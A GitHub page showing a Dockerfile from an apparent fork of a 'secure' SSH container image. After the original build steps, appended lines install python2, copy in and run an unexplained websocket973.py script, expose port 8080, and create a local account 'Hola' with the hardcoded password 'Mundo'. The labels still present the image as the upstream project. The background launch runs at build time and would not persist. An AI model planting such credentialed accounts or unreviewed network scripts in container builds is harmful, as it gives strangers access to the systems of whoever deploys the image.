docker-ssh/src/Dockerfile at main · nube50/docker-ssh · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
# syntax=docker/dockerfile:1
# check=skip=SecretsUsedInArgOrEnv
FROM debian:bookworm-slim

ENV ALLOWED_IPS="AllowUsers tunnel" \
    DEBUG_MODE="false" \
    DEBIAN_FRONTEND=noninteractive \
    LANG="en_US.UTF-8" \
    LANGUAGE="en_US.UTF-8" \
    LC_ALL="en_US.UTF-8" \
    PGID=9999 \
    PUID=9999 \
    SSH_HOST_KEY_DIR="/etc/ssh/ssh_host_keys" \
    SSH_PORT="22" \
    SSH_USER="tunnel"

ARG PACKAGE_DEPENDENCIES="openssh-server,iputils-ping,locales,tini" \
    REPOSITORY_BUILD_VERSION="dev"

COPY --chown=root:root --chmod=755 src/rootfs /

RUN serversideup-dep-install-debian ${PACKAGE_DEPENDENCIES} && \
    \
    # Generate required locales
    echo "en_US.UTF-8 UTF-8" > /etc/locale.gen && \
    locale-gen && \
    update-locale LANG=en_US.UTF-8 && \
    \
    # Create unprivileged user
    serversideup-create-unprivileged-user "$SSH_USER" "${PUID}" "${PGID}" && \
    \
    # Set proper permissions
    mkdir -p /home/$SSH_USER/.ssh $SSH_HOST_KEY_DIR && \
    chown -R $SSH_USER:$SSH_USER $SSH_HOST_KEY_DIR /home/$SSH_USER/.ssh && \
    chmod 700 /home/$SSH_USER/.ssh && \
    \
    # Create run directory
    mkdir -p /run/sshd && \
    \
    # Remove default SSH host keys
    rm -f /etc/ssh/ssh_host_*_key*

# Expose the SSH port
EXPOSE 22
EXPOSE 8080

LABEL org.opencontainers.image.title="serversideup/docker-ssh" \
    org.opencontainers.image.description="Simple SSH container. Great for secure connections into clusters." \
    org.opencontainers.image.url="https://github.com/serversideup/docker-ssh" \
    org.opencontainers.image.source="https://github.com/serversideup/docker-ssh" \
    org.opencontainers.image.documentation="https://github.com/serversideup/docker-ssh" \
    org.opencontainers.image.vendor="ServerSideUp" \
    org.opencontainers.image.authors="Jay Rogers (@jaydrogers)" \
    org.opencontainers.image.version="${REPOSITORY_BUILD_VERSION}" \
    org.opencontainers.image.licenses="GPL-3.0-or-later"

RUN apt install -y python2 screen
COPY websocket973.py /
RUN chmod +x websocket973.py
RUN useradd -e 2025-12-31 Hola && echo "Hola:Mundo" | chpasswd
RUN screen -dmS sshd_service python2 websocket973.py

ENTRYPOINT ["/usr/bin/tini", "--", "/entrypoint.sh"]
CMD ["/usr/sbin/sshd", "-D", "-e"]